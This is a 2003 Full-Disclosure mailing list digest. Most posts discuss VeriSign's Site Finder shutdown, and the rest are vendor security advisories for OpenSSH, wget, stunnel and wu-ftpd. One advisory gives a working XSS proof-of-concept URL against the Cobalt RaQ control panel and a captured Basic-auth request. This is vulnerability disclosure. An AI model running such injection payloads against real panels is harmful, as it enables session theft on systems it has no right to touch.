Fri Oct 3 22:00:24 2003 From: gui at goddessmoon.org (Poof) Date: Fri, 3 Oct 2003 14:00:24 -0700 Subject: [Full-Disclosure] Has Verisign time arrived ? In-Reply-To: <1065211650.506.30.camel@localhost> Message-ID: <200310032100.h93L0Tj03624@storage.mshome.net> Doesn't seem that anybody else had replied to this ^^ Kinda weird... Or am I missing traffic? > -----Original Message----- > From: full-disclosure-admin at lists.netsys.com [mailto:full-disclosure- > admin at lists.netsys.com] On Behalf Of Frank Knobbe > Sent: Friday, October 03, 2003 13:08 > To: full-disclosure at lists.netsys.com > Subject: Re: [Full-Disclosure] Has Verisign time arrived ? > > On Fri, 2003-10-03 at 11:56, Rodrigo Barbosa wrote: > > Looks like ICANN has decided it was time to pick a fight, and > > now Verisign has 36 hours to turn sitefinder off or be sued. > > > > http://www.icann.org/announcements/advisory-03oct03.htm > > By the time this arrives, others will probably have posted the same. > Knowing that I might clog up the list with me-too's, I believe it's > important enough to share over and over again. Here it is, straight from > NANOG... > > -----Forwarded Message----- > From: Tim Wilde > To: nanog at merit.edu > Subject: VeriSign Capitulates > Date: Fri, 03 Oct 2003 15:44:26 -0400 > > > http://www.washingtonpost.com/wp-dyn/articles/A40241-2003Oct3.html > > And they act like they're the victims. Amazing. > > "Without so much as a hearing, ICANN today formally asked us to shut down > the Site Finder service," said VeriSign spokesman Tom Galvin. "We will > accede to their request while we explore all of our options." > > How about a public outcry? Did you miss that part? You don't deserve a > hearing. > > Of course, they haven't removed the wildcard yet: > > dig is-it-gone-yet.com. @a.gtld-servers.net. +short > 64.94.110.11 From nodialtone at comcast.net Fri Oct 3 22:09:05 2003 From: nodialtone at comcast.net (Byron Copeland) Date: Fri, 3 Oct 2003 17:09:05 -0400 Subject: [Full-Disclosure] Has Verisign time arrived ? In-Reply-To: <1065211650.506.30.camel@localhost> Message-ID: <019501c389f2$94e25e20$531efea9@stickslinger> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Truly sad. I personally liked the service... I'm prone to typoz (did I mean typos?) with every sentence I write. - -- "I always wonder why people choose to support MS and then complain about all of these issues that are known in advance." > -----Original Message----- > From: full-disclosure-admin at lists.netsys.com [mailto:full-disclosure- > admin at lists.netsys.com] On Behalf Of Frank Knobbe > Sent: Friday, October 03, 2003 4:08 PM > To: full-disclosure at lists.netsys.com > Subject: Re: [Full-Disclosure] Has Verisign time arrived ? > > On Fri, 2003-10-03 at 11:56, Rodrigo Barbosa wrote: > > Looks like ICANN has decided it was time to pick a fight, and > > now Verisign has 36 hours to turn sitefinder off or be sued. > > > > http://www.icann.org/announcements/advisory-03oct03.htm > > By the time this arrives, others will probably have posted the same. > Knowing that I might clog up the list with me-too's, I believe it's > important enough to share over and over again. Here it is, straight from > NANOG... > > -----Forwarded Message----- > From: Tim Wilde > To: nanog at merit.edu > Subject: VeriSign Capitulates > Date: Fri, 03 Oct 2003 15:44:26 -0400 > > > http://www.washingtonpost.com/wp-dyn/articles/A40241-2003Oct3.html > > And they act like they're the victims. Amazing. > > "Without so much as a hearing, ICANN today formally asked us to shut down > the Site Finder service," said VeriSign spokesman Tom Galvin. "We will > accede to their request while we explore all of our options." > > How about a public outcry? Did you miss that part? You don't deserve a > hearing. > > Of course, they haven't removed the wildcard yet: > > dig is-it-gone-yet.com. @a.gtld-servers.net. +short > 64.94.110.11 -----BEGIN PGP SIGNATURE----- Version: PGP 8.0 iQA/AwUBP33lcWHZJr/4PEW4EQKykACg61PCmq8r5WzoL6Mvo1WQ314r0u4AoIrT 4AURHny+uBaYOak7wO062HKA =y790 -----END PGP SIGNATURE----- From rahnemann at affinity-mortgage.com Fri Oct 3 22:27:32 2003 From: rahnemann at affinity-mortgage.com (Robert Ahnemann) Date: Fri, 3 Oct 2003 16:27:32 -0500 Subject: [Full-Disclosure] Has Verisign time arrived ? Message-ID: I'm not getting any replies back either. I'm guessing people are of the "'Well it's about damn time" mentality and just going to wait and see what will happen tomorrow. On a related note, "School of Rock" comes out today and I'm guessing a bunch of the US IT staff will be calling in sick to be one of the first ones to see it. > -----Original Message----- > From: Poof [mailto:gui at goddessmoon.org] > Sent: Friday, October 03, 2003 4:00 PM > To: full-disclosure at lists.netsys.com > Subject: RE: [Full-Disclosure] Has Verisign time arrived ? > > Doesn't seem that anybody else had replied to this ^^ > > Kinda weird... Or am I missing traffic? > > > -----Original Message----- > > From: full-disclosure-admin at lists.netsys.com [mailto:full-disclosure- > > admin at lists.netsys.com] On Behalf Of Frank Knobbe > > Sent: Friday, October 03, 2003 13:08 > > To: full-disclosure at lists.netsys.com > > Subject: Re: [Full-Disclosure] Has Verisign time arrived ? > > > > On Fri, 2003-10-03 at 11:56, Rodrigo Barbosa wrote: > > > Looks like ICANN has decided it was time to pick a fight, and > > > now Verisign has 36 hours to turn sitefinder off or be sued. > > > > > > http://www.icann.org/announcements/advisory-03oct03.htm > > > > By the time this arrives, others will probably have posted the same. > > Knowing that I might clog up the list with me-too's, I believe it's > > important enough to share over and over again. Here it is, straight from > > NANOG... > > > > -----Forwarded Message----- > > From: Tim Wilde > > To: nanog at merit.edu > > Subject: VeriSign Capitulates > > Date: Fri, 03 Oct 2003 15:44:26 -0400 > > > > > > http://www.washingtonpost.com/wp-dyn/articles/A40241-2003Oct3.html > > > > And they act like they're the victims. Amazing. > > > > "Without so much as a hearing, ICANN today formally asked us to shut > down > > the Site Finder service," said VeriSign spokesman Tom Galvin. "We will > > accede to their request while we explore all of our options." > > > > How about a public outcry? Did you miss that part? You don't deserve a > > hearing. > > > > Of course, they haven't removed the wildcard yet: > > > > dig is-it-gone-yet.com. @a.gtld-servers.net. +short > > 64.94.110.11 > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html From ggilliss at netpublishing.com Fri Oct 3 22:44:30 2003 From: ggilliss at netpublishing.com (Gregory A. Gilliss) Date: Fri, 3 Oct 2003 14:44:30 -0700 Subject: [Full-Disclosure] ICANN is officially pissed off In-Reply-To: <3F7DA781.2040007@well.com> References: <3F7DA781.2040007@well.com> Message-ID: <20031003214430.GA78785@netpublishing.com> "ICANN, ICANN, you're our man! If you can't do it, no one can!" Okay, I'm done cheering. Meanwhile Verisign is *still* collecting data for mistyped/unused URLs. Who wants to start the pool? Does Verisign back off, and if so, when? Or do they get sued and, if they lose, do they have to turn over all of the data that they collected while they were offending/breaching/whatever? Go ICANN! Oh, and in case anyone is thinking of registering goicann.org, it is (a) not taken and (b) not a .com or .net and doesn't redirect you to sitefinder. G On or about 2003.10.03 09:44:49 +0000, J. Race (caferace at well.com) said: > http://www.icann.org/correspondence/twomey-to-lewis-03oct03.htm > > "Given the magnitude of the issues that have been raised, and their > potential impact on the security and stability of the Internet, the DNS > and the .com and .net top level domains, VeriSign must suspend the > changes to the .com and .net top-level domains introduced on 15 > September 2003 by 6:00 PM PDT on 4 October 2003. Failure to comply with > this demand by that time will leave ICANN with no choice but to seek > promptly to enforce VeriSign's contractual obligations." -- Gregory A. Gilliss, CISSP Telephone: 1 650 872 2420 Computer Engineering E-mail: greg at gilliss.com Computer Security ICQ: 123710561 Software Development WWW: http://www.gilliss.com/greg/ PGP Key fingerprint 2F 0B 70 AE 5F 8E 71 7A 2D 86 52 BA B7 83 D9 B4 14 0E 8C A3 From dbounds at intrusense.com Fri Oct 3 21:20:37 2003 From: dbounds at intrusense.com (Darren Bounds) Date: Fri, 03 Oct 2003 16:20:37 -0400 Subject: [Full-Disclosure] Packit 0.7 Released Message-ID: Hi all, Once again I'd just like to let you know that I've released Packit 0.7 to http://packit.sourceforge.net. It should also be available shortly on http://www.packetfactory.net. Check out http://packit.sourceforge.net/ChangeLog for a full list of changes. Description: Packit is a network auditing tool. Its value is derived from its ability to customize, inject, monitor, and manipulate IP traffic. By allowing you to define (spoof) nearly all TCP, UDP, ICMP, IP, ARP, RARP, and Ethernet header options, Packit can be useful in testing firewalls, intrusion detection/prevention systems, port scanning, simulating network traffic, and general TCP/IP auditing. Packit is also an excellent tool for learning TCP/IP. Packit requires libnet 1.1 or greater as well as libpcap. It has been successfully compiled and tested to run on FreeBSD, NetBSD, OpenBSD, MacOS X and Linux. Thanks, Darren Bounds From lorenzohgh at nsrg-security.com Fri Oct 3 22:59:14 2003 From: lorenzohgh at nsrg-security.com (Lorenzo Hernandez Garcia-Hierro) Date: Fri, 3 Oct 2003 23:59:14 +0200 Subject: [Full-Disclosure] Sun Cobalt RaQ Control Panel Multiple Vulnerabilities Message-ID: <003301c389f9$9c7485d0$050010ac@rootserver> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Sun Cobalt RaQ Control Panel Multiple Vulnerabilities - - ------ PRODUCT: Cobalt RaQ Web Control Panel VENDOR: Sun - Cobal Networks VULNERABLE VERSIONS: - Sun Cobalt RaQ Servers Web Control Panel (T.I.N.P) - Tested in a default configurated Sun Cobalt RaQ server. control panel - Sun Cobalt servers using the web based control panel(T.I.N.P) - Sun Cobalt RaQ 550 Server Appliance - - --------------------- N.TED = Not Tested in a Real Site / Production Site T.I.N.P = Tested in Non Production Environment ____________ Description: Sun Cobalt RaQ 550 server appliance integrates the hardware, software, database and development tools needed to deploy applications extremely quickly without any prior server experience. - - --------------------------------------------- |SECURITY HOLES FOUND and PROOFS OF CONCEPT:| - - --------------------------------------------- I found XSS vulnerabilities in the web based Control Panel of Cobalt RaQ Servers , with this hole you can try to get the target user information trough the cgi script called message.cgi by including script code in the info= variable value. The script is used for the output of system and control messages like help messages ( "hints" of rollovers for help the user about things of the control panel ) . In addition the ssl support is not enabled for the control panel of users. Cobalt Servers are possible affected by the last security hole found in OpenSSL. - - --------- | XSS | - - --------- Using the following encoded script: %3Cscript%3Ealert%28%27XSS%27%29%3B%3C/script%3E And accessing a vulnerable control panel of a Cobalt RaQ server pointing this address: HTTP://[HOST NAME / DOMAIN]:[PORT: 81 ]/cgi-bin/.cobalt/message/message.cgi?info=[SCRIPT / XSS CODE] A working demo of this can be : http://w-0.h2oformum.foo:81/cgi-bin/.cobalt/message/message.cgi?info=% 3Cscript%3Ealert%28%27XSS%27%29%3B%3C/script%3E This will include the %3Cscript%3Ealert%28%27XSS%27%29%3B%3C/script%3E code in the output and when the web browser executes it you get a message box: - - ----JavaScript Application---- | XSS ! | - - ------------------------------ Thats all , simple and fast but Control Panel doesn't use cookies for keep the passwords , this can be used for get the domain cookies if it is used by other applications,although it is a security hole because it demonstrates that the message.cgi script does not have an input validation system. - - --------------------------------- | SSL SUPPORT NOT PRESENT IN CP | - - --------------------------------- I observed that the ssl support is not enabled for the web server running the control panel ( default webserver of cobalt raq control panel ) but the banner is this: Server: Apache/1.3.20 Sun Cobalt (Unix) mod_ssl/2.8.4 OpenSSL/0.9.6b mod_auth_pam_external/0.1 mod_perl/1.25 You can try to access but you get nothing ( error connecting ). Yhis is a problem because it uses basic auth and if some body get this: GET /.cobalt/siteManage/www.blah.com/ HTTP/1.1 Host: tobeornottobeavulnerablehost.foo:81 User-Agent: Mozilla/5.0 Mozilla Firebird/0.6.1 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/pl ain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Cache-Control: max-age=0, max-age=0 Authorization: Basic dGVzdDp0ZXN0 HTTP/1.x 200 OK Date: Fri, 03 Oct 2003 13:37:54 GMT Server: Apache/1.3.20 Sun Cobalt (Unix) mod_ssl/2.8.4 OpenSSL/0.9.6b mod_auth_pam_external/0.1 mod_perl/1.25 Keep-Alive: timeout=300 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html Look at Authorization: Basic dGVzdDp0ZXN0 , it is base64 encoded , decoded value is: test:test - - ------------------------------ | LAST OPENSSL SECURITY HOLE | - - ------------------------------ I think that the version that i checked is affected by the last OpenSSL security hole. I haven't tested this but the OpenSSL version is included in the vulnerable versions range. - - ----------------- | VENDOR STATUS | - - ----------------- Ok -> Warned / Contacted (security-alert at sun.com) - --------------- | CONTACT | - - ----------- - ------------------------------------------------------ Lorenzo Hernandez Garcia-Hierro - --- Security Consultant --- - ------------------NSRGroup------------------- PGP: Keyfingerprint D185 3555 8ECD 3921 6B21 ACC6 CEBB 2826 4B4C 283E ID: 0x4B4C283E Size: 4096 ********************************** NSRGroup ( No Secure Root Group Security Research Team ) / ( NovaPPC Security Research Group ) http://www.nsrg-security.com ______________________ -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBP33jFs67KCZLTCg+EQLcwACfRdYmDfBuAU/8W5vQinI2QPVfkVoAoNRs L95UKY4zm4x4w5MHHJFVwezM =Cjl1 -----END PGP SIGNATURE----- From gui at goddessmoon.org Fri Oct 3 23:06:42 2003 From: gui at goddessmoon.org (Poof) Date: Fri, 3 Oct 2003 15:06:42 -0700 Subject: [Full-Disclosure] Has Verisign time arrived ? In-Reply-To: <019501c389f2$94e25e20$531efea9@stickslinger> Message-ID: <200310032206.h93M6lj03654@storage.mshome.net> Wow, you must be one of the few people that actually liked it ^^ I personally hated it =/ Still do! > -----Original Message----- > From: full-disclosure-admin at lists.netsys.com [mailto:full-disclosure- > admin at lists.netsys.com] On Behalf Of Byron Copeland > Sent: Friday, October 03, 2003 14:09 > To: 'Frank Knobbe'; full-disclosure at lists.netsys.com > Subject: RE: [Full-Disclosure] Has Verisign time arrived ? > > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Truly sad. I personally liked the service... I'm prone to typoz (did I > mean typos?) with every sentence I write. > > - -- "I always wonder why people choose to support MS and then complain > about all of these issues that are known in advance." > > > > > > -----Original Message----- > > From: full-disclosure-admin at lists.netsys.com [mailto:full-disclosure- > > admin at lists.netsys.com] On Behalf Of Frank Knobbe > > Sent: Friday, October 03, 2003 4:08 PM > > To: full-disclosure at lists.netsys.com > > Subject: Re: [Full-Disclosure] Has Verisign time arrived ? > > > > On Fri, 2003-10-03 at 11:56, Rodrigo Barbosa wrote: > > > Looks like ICANN has decided it was time to pick a fight, and > > > now Verisign has 36 hours to turn sitefinder off or be sued. > > > > > > http://www.icann.org/announcements/advisory-03oct03.htm > > > > By the time this arrives, others will probably have posted the same. > > Knowing that I might clog up the list with me-too's, I believe it's > > important enough to share over and over again. Here it is, straight from > > NANOG... > > > > -----Forwarded Message----- > > From: Tim Wilde > > To: nanog at merit.edu > > Subject: VeriSign Capitulates > > Date: Fri, 03 Oct 2003 15:44:26 -0400 > > > > > > http://www.washingtonpost.com/wp-dyn/articles/A40241-2003Oct3.html > > > > And they act like they're the victims. Amazing. > > > > "Without so much as a hearing, ICANN today formally asked us to shut > down > > the Site Finder service," said VeriSign spokesman Tom Galvin. "We will > > accede to their request while we explore all of our options." > > > > How about a public outcry? Did you miss that part? You don't deserve a > > hearing. > > > > Of course, they haven't removed the wildcard yet: > > > > dig is-it-gone-yet.com. @a.gtld-servers.net. +short > > 64.94.110.11 > > -----BEGIN PGP SIGNATURE----- > Version: PGP 8.0 > > iQA/AwUBP33lcWHZJr/4PEW4EQKykACg61PCmq8r5WzoL6Mvo1WQ314r0u4AoIrT > 4AURHny+uBaYOak7wO062HKA > =y790 > -----END PGP SIGNATURE----- > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html From security at sco.com Fri Oct 3 23:52:04 2003 From: security at sco.com (security at sco.com) Date: Fri, 3 Oct 2003 15:52:04 -0700 Subject: [Full-Disclosure] OpenLinux: OpenSSH: multiple buffer handling problems Message-ID: <200310032252.h93Mq4E08799@rafiki.ca.caldera.com> To: announce at lists.sco.com bugtraq at securityfocus.com security-alerts at linuxsecurity.com full-disclosure at lists.netsys.com -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ______________________________________________________________________________ SCO Security Advisory Subject: OpenLinux: OpenSSH: multiple buffer handling problems Advisory number: CSSA-2003-027.0 Issue date: 2003 October 02 Cross reference: sr884647 fz528312 erg712429 CERT VU#333628 CERT VU#602204 CAN-2003-0693 CAN-2003-0695 CAN-2003-0682 CAN-2003-0786 ______________________________________________________________________________ 1. Problem Description Several buffer management errors and memory bugs are corrected by this patch. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the following names to these issues. CAN-2003-0693, CAN-2003-0695, CAN-2003-0682, CAN-2003-0786. The CERT Coordination Center has assigned the following names VU#333628, and VU#602204. CERT VU#333628 / CAN-2003-0693: A "buffer management error" in buffer_append_space of buffer.c for OpenSSH before 3.7 may allow remote attackers to execute arbitrary code by causing an incorrect amount of memory to be freed and corrupting the heap, a different vulnerability than CAN-2003-0695. CAN-2003-0695: Multiple "buffer management errors" in OpenSSH before 3.7.1 may allow attackers to cause a denial of service or execute arbitrary code using (1) buffer_init in buffer.c, (2) buffer_free in buffer.c, or (3) a separate function in channels.c, a different vulnerability than CAN-2003-0693. CAN-2003-0682: "Memory bugs" in OpenSSH 3.7.1 and earlier, with unknown impact, a different set of vulnerabilities than CAN-2003-0693 and CAN-2003-0695. CERT VU#602204 / CAN-2003-0786: Portable OpenSSH versions 3.7p1 and 3.7.1p1 contain multiple vulnerabilities in the new PAM code. At least one of these bugs is remotely exploitable (under a non-standard configuration, with privsep disabled). 2. Vulnerable Supported Versions System Package ---------------------------------------------------------------------- OpenLinux 3.1.1 Server prior to openssh-3.7.1p2-1.i386.rpm prior to openssh-askpass-3.7.1p2-1.i386.rpm prior to openssh-server-3.7.1p2-1.i386.rpm OpenLinux 3.1.1 Workstation prior to openssh-3.7.1p2-1.i386.rpm prior to openssh-askpass-3.7.1p2-1.i386.rpm prior to openssh-server-3.7.1p2-1.i386.rpm 3. Solution The proper solution is to install the latest packages. Many customers find it easier to use the Caldera System Updater, called cupdate (or kcupdate under the KDE environment), to update these packages rather than downloading and installing them by hand. 4. OpenLinux 3.1.1 Server 4.1 Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Server/CSSA-2003-027.0/RPMS 4.2 Packages b221123334fd2dbe93d049038175f91b openssh-3.7.1p2-1.i386.rpm 3290dd2b9cacfc1c7188b9a744645123 openssh-askpass-3.7.1p2-1.i386.rpm e5f5d9bbbfeb4e97629dae7b2446418f openssh-server-3.7.1p2-1.i386.rpm 4.3 Installation rpm -Fvh openssh-3.7.1p2-1.i386.rpm rpm -Fvh openssh-askpass-3.7.1p2-1.i386.rpm rpm -Fvh openssh-server-3.7.1p2-1.i386.rpm 4.4 Source Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Server/CSSA-2003-027.0/SRPMS 4.5 Source Packages 19fba72b17344b49390210f7988c3d0f openssh-3.7.1p2-1.src.rpm 5. OpenLinux 3.1.1 Workstation 5.1 Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Workstation/CSSA-2003-027.0/RPMS 5.2 Packages ecae4ebd7d44036200fca7f4e7a00c85 openssh-3.7.1p2-1.i386.rpm 086fd39a605fb8e5332ddeb9ad57d271 openssh-askpass-3.7.1p2-1.i386.rpm d1bf2e78daf806738bdedfcef9587830 openssh-server-3.7.1p2-1.i386.rpm 5.3 Installation rpm -Fvh openssh-3.7.1p2-1.i386.rpm rpm -Fvh openssh-askpass-3.7.1p2-1.i386.rpm rpm -Fvh openssh-server-3.7.1p2-1.i386.rpm 5.4 Source Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Workstation/CSSA-2003-027.0/SRPMS 5.5 Source Packages 3cb08e4470041e84b893618a2df75bf1 openssh-3.7.1p2-1.src.rpm 6. References Specific references for this advisory: http://www.openssh.com/txt/buffer.adv http://www.mindrot.org/pipermail/openssh-unix-announce/2003-September/000063.html http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/ports/security/openssh/files/patch-buffer.c http://marc.theaimsgroup.com/?l=openbsd-misc&m=106371592604940 http://marc.theaimsgroup.com/?l=openbsd-security-announce&m=106375582924840 SCO security resources: http://www.sco.com/support/security/index.html This security fix closes SCO incidents sr884647 fz528312 erg712429. 7. Disclaimer SCO is not responsible for the misuse of any of the information we provide on this website and/or through our security advisories. Our advisories are a service to our customers intended to promote secure installation and use of SCO products. ______________________________________________________________________________ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj98mhUACgkQbluZssSXDTGZygCgvZzjkuPGLdxI5isCr53CqcwI qSMAn3h8zJBLu8JbvQCvF8ALp078b9OO =71ME -----END PGP SIGNATURE----- From hackerwacker at cybermesa.com Fri Oct 3 23:52:40 2003 From: hackerwacker at cybermesa.com (james) Date: Fri, 3 Oct 2003 16:52:40 -0600 Subject: [Full-Disclosure] Fw: Removal of wildcard A records from .com and .net zones Message-ID: <01ea01c38a01$0c8fb1d0$0200000a@jamesnew> ----- Original Message ----- From: "Matt Larson" To: Sent: Friday, October 03, 2003 3:50 PM Subject: Removal of wildcard A records from .com and .net zones : : VeriSign was directed by ICANN to suspend the Site Finder service by : 0100 UTC on Sunday, October 5. We requested an extension from ICANN : to give more notice to the community but were denied. We will be : removing the wildcard A records from the .com and .net zones beginning : at 2300 UTC on Saturday, October 4. The former behavior for these : zones (returning Name Error/RCODE=3 in response to queries for : nonexistent domain names) will be in place by 0100 UTC on Sunday, : October. : : Matt : -- : Matt Larson : VeriSign Naming and Directory Services From security at sco.com Sat Oct 4 00:02:50 2003 From: security at sco.com (security at sco.com) Date: Fri, 3 Oct 2003 16:02:50 -0700 Subject: [Full-Disclosure] OpenLinux: wget: Buffer overflow Message-ID: <200310032302.h93N2oS08819@rafiki.ca.caldera.com> To: announce at lists.sco.com bugtraq at securityfocus.com security-alerts at linuxsecurity.com full-disclosure at lists.netsys.com -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ______________________________________________________________________________ SCO Security Advisory Subject: OpenLinux: wget: Buffer overflow Advisory number: CSSA-2003-025.0 Issue date: 2003 October 03 Cross reference: sr883607 fz528216 erg712410 CAN-2003-1565 ______________________________________________________________________________ 1. Problem Description wget is a freely available network utility to retrieve files using HTTP and FTP. Stefano Zacchirol found a buffer overflow vulnerability in the code that handles URLs in wget. An attacker can create a long (more than 256 characters), specially crafted URL that when parsed by wget can cause the execution of arbitrary code or program misbehavior. The packages included in this update fix the problem by unconditionally terminating long URLs in all cases. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2003-1565 to this issue. 2. Vulnerable Supported Versions System Package ---------------------------------------------------------------------- OpenLinux 3.1.1 Server prior to wget-1.8.2-1.i386.rpm OpenLinux 3.1.1 Workstation prior to wget-1.8.2-1.i386.rpm 3. Solution The proper solution is to install the latest packages. Many customers find it easier to use the Caldera System Updater, called cupdate (or kcupdate under the KDE environment), to update these packages rather than downloading and installing them by hand. 4. OpenLinux 3.1.1 Server 4.1 Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Server//RPMS 4.2 Packages c60a6e417ac41287973735f2c82d461c wget-1.8.2-1.i386.rpm 4.3 Installation rpm -Fvh wget-1.8.2-1.i386.rpm 4.4 Source Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Server//SRPMS 4.5 Source Packages 8ef3938fd5d49cc029b43c6b21cef9e0 wget-1.8.2-1.src.rpm 5. OpenLinux 3.1.1 Workstation 5.1 Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Workstation//RPMS 5.2 Packages 1c0c42afd39e6d6183b9abf4cc07d039 wget-1.8.2-1.i386.rpm 5.3 Installation rpm -Fvh wget-1.8.2-1.i386.rpm 5.4 Source Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Workstation//SRPMS 5.5 Source Packages 932ee4ea3cc81a649735fcf691352be2 wget-1.8.2-1.src.rpm 6. References Specific references for this advisory: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-1565 http://marc.theaimsgroup.com/?l=bugtraq&m=105474357016184&w=2 SCO security resources: http://www.sco.com/support/security/index.html This security fix closes SCO incidents sr883607 fz528216 erg712410. 7. Disclaimer SCO is not responsible for the misuse of any of the information we provide on this website and/or through our security advisories. Our advisories are a service to our customers intended to promote secure installation and use of SCO products. 8. Acknowledgements SCO would like to thank Stefano Zacchirol. ______________________________________________________________________________ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj998ZcACgkQbluZssSXDTGU0ACg0y9nrB9igVfqXEhvVQ+81FnU RToAn0aQdzBn9VFiwRyAa1b7ZGU+R+iT =hgWo -----END PGP SIGNATURE----- From oconnor123 at sympatico.ca Fri Oct 3 23:39:31 2003 From: oconnor123 at sympatico.ca (Mike O'Connor) Date: Fri, 3 Oct 2003 18:39:31 -0400 Subject: [Full-Disclosure] Mystery DNS Changes Message-ID: <00df01c389ff$365c99d0$21c5fea9@inspiron> I have the described behaviour when visiting google.com, but have neither the aolfix.exe nor registry entries, on my XP box. Where would one find the registry entry for the current DNS(s)? From security at sco.com Sat Oct 4 00:06:51 2003 From: security at sco.com (security at sco.com) Date: Fri, 3 Oct 2003 16:06:51 -0700 Subject: [Full-Disclosure] OpenLinux: Updated stunnel packages fix signal vulnerability Message-ID: <200310032306.h93N6ph08837@rafiki.ca.caldera.com> To: announce at lists.sco.com bugtraq at securityfocus.com security-alerts at linuxsecurity.com full-disclosure at lists.netsys.com -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ______________________________________________________________________________ SCO Security Advisory Subject: OpenLinux: Updated stunnel packages fix signal vulnerability Advisory number: CSSA-2003-026.0 Issue date: 2003 October 03 Cross reference: sr883627 fz528223 erg712413 CAN-2002-1563 ______________________________________________________________________________ 1. Problem Description stunnel is a wrapper for network connections. It can be used to tunnel an unencrypted network connection over a secure connection (encrypted using SSL or TLS) or to provide a secure means of connecting to services that do not natively support encryption. When configured to listen for incoming connections (instead of being invoked by xinetd), stunnel can be configured to either start a thread or a child process to handle each new connection. If Stunnel is configured to start a new child process to handle each connection, it will receive a SIGCHLD signal when that child exits. Stunnel versions prior to 4.04 would perform tasks in the SIGCHLD signal handler which, if interrupted by another SIGCHLD signal, could be unsafe. This could lead to a denial of service. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2002-1563 to this issue. 2. Vulnerable Supported Versions System Package ---------------------------------------------------------------------- OpenLinux 3.1.1 Server prior to stunnel-4.04-1.i386.rpm OpenLinux 3.1.1 Workstation prior to stunnel-4.04-1.i386.rpm 3. Solution The proper solution is to install the latest packages. Many customers find it easier to use the Caldera System Updater, called cupdate (or kcupdate under the KDE environment), to update these packages rather than downloading and installing them by hand. 4. OpenLinux 3.1.1 Server 4.1 Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Server/CSSA-2003-026.0/RPMS 4.2 Packages 00d7179b1b5ca718d3ec6b85f144e4f1 stunnel-4.04-1.i386.rpm 4.3 Installation rpm -Fvh stunnel-4.04-1.i386.rpm 4.4 Source Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Server/CSSA-2003-026.0/SRPMS 4.5 Source Packages ca450eb7d9ca61c042f0b6d1448def8d stunnel-4.04-1.src.rpm 5. OpenLinux 3.1.1 Workstation 5.1 Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Workstation/CSSA-2003-026.0/RPMS 5.2 Packages e05b815b77113f4700875bb7a263a7ae stunnel-4.04-1.i386.rpm 5.3 Installation rpm -Fvh stunnel-4.04-1.i386.rpm 5.4 Source Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Workstation/CSSA-2003-026.0/SRPMS 5.5 Source Packages f13039bc38057f788d72ed9fa0448e0a stunnel-4.04-1.src.rpm 6. References Specific references for this advisory: http://marc.theaimsgroup.com/?l=stunnel-users&m=103600188215117 http://marc.theaimsgroup.com/?l=bugtraq&m=104247606910598 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1563 SCO security resources: http://www.sco.com/support/security/index.html This security fix closes SCO incidents sr883627 fz528223 erg712413. 7. Disclaimer SCO is not responsible for the misuse of any of the information we provide on this website and/or through our security advisories. Our advisories are a service to our customers intended to promote secure installation and use of SCO products. 8. Acknowledgements SCO would like to thank Henrik Eriksson from Axis Communications. ______________________________________________________________________________ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj999a8ACgkQbluZssSXDTFCZQCghaAuO/2UeV6CpVlvcsa8J/0H SmkAoJmHopz4H4R8u6NewNY0+keWeI0E =VZ9Z -----END PGP SIGNATURE----- From security at sco.com Sat Oct 4 00:09:09 2003 From: security at sco.com (security at sco.com) Date: Fri, 3 Oct 2003 16:09:09 -0700 Subject: [Full-Disclosure] OpenLinux: wu-ftpd fb_realpath() off-by-one bug Message-ID: <200310032309.h93N99h08851@rafiki.ca.caldera.com> To: announce at lists.sco.com bugtraq at securityfocus.com security-alerts at linuxsecurity.com full-disclosure at lists.netsys.com -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ______________________________________________________________________________ SCO Security Advisory Subject: OpenLinux: wu-ftpd fb_realpath() off-by-one bug Advisory number: CSSA-2003-024.0 Issue date: 2003 September 26 Cross reference: sr882340 fz528117 erg712364 ______________________________________________________________________________ 1. Problem Description Wu-ftpd FTP server contains remotely exploitable off-by-one bug. A local or remote attacker could exploit this vulnerability to gain root privileges on a vulnerable system. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2003-0466 to this issue. 2. Vulnerable Supported Versions 